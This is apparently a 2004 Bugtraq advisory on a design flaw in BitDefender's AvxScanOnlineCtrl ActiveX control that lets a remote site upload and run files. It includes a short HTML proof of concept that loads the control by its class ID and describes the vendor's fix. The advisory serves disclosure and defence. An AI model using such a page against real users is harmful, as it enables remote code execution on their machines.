Softwin BitDefender AvxScanOnlineCtrl COM Object Remote File Upload And Execution Vulnerability

BID:10174

Info

Softwin BitDefender AvxScanOnlineCtrl COM Object Remote File Upload And Execution Vulnerability

Bugtraq ID: 10174
Class: Design Error
CVE:
Remote: Yes
Local: No
Published: Apr 19 2004 12:00AM
Updated: Apr 19 2004 12:00AM
Credit: Disclosure of this issue is credited to "Rafel Ivgi, The-Insider" <[email protected]>.
Vulnerable: Softwin BitDefender
Not Vulnerable:

Discussion

Softwin BitDefender AvxScanOnlineCtrl COM Object Remote File Upload And Execution Vulnerability

Reportedly the BitDefender AvxScanOnlineCtrl COM object is affected by a file upload and execution vulnerability. This issue is due to a design error that allows a remote user to specify a file to be uploaded and executed on a system running the affected software.

This issue may be leveraged by a remote attacker to upload and execute arbitrary files on an affected system; most likely resulting in unauthorized access. Other attackers are also possible.

Exploit / POC

Softwin BitDefender AvxScanOnlineCtrl COM Object Remote File Upload And Execution Vulnerability

The following HTML document, which is sufficient to leverage this issue, has been provided:

<HTML>
<OBJECT id=seemycomputer codeBase=http://www.bitdefender.com/scan/Msie/bitdefender.cab#version=3,0,0,1 hspace=0 vspace=0 align="top" classid=CLSID:80DD2229-B8E4-4C77-B72F-F22972D723EA width=405 height=180>
<PARAM NAME="_ExtentX" VALUE="6614">
<PARAM NAME="_ExtentY" VALUE="4498">
<PARAM NAME="_StockProps" VALUE="9">
<PARAM NAME="ForeColor" VALUE="0">
<PARAM NAME="BackColor" VALUE="16777215"></OBJECT>
</HTML>

Solution / Fix

Softwin BitDefender AvxScanOnlineCtrl COM Object Remote File Upload And Execution Vulnerability

Solution:
Reportedly the vendor has updated the affected COM objects and ActiveX control. It has been advised that users with the affected software installed visit the BitDefender website and allow the update. Please see the referenced website for more information.

References

Softwin BitDefender AvxScanOnlineCtrl COM Object Remote File Upload And Execution Vulnerability

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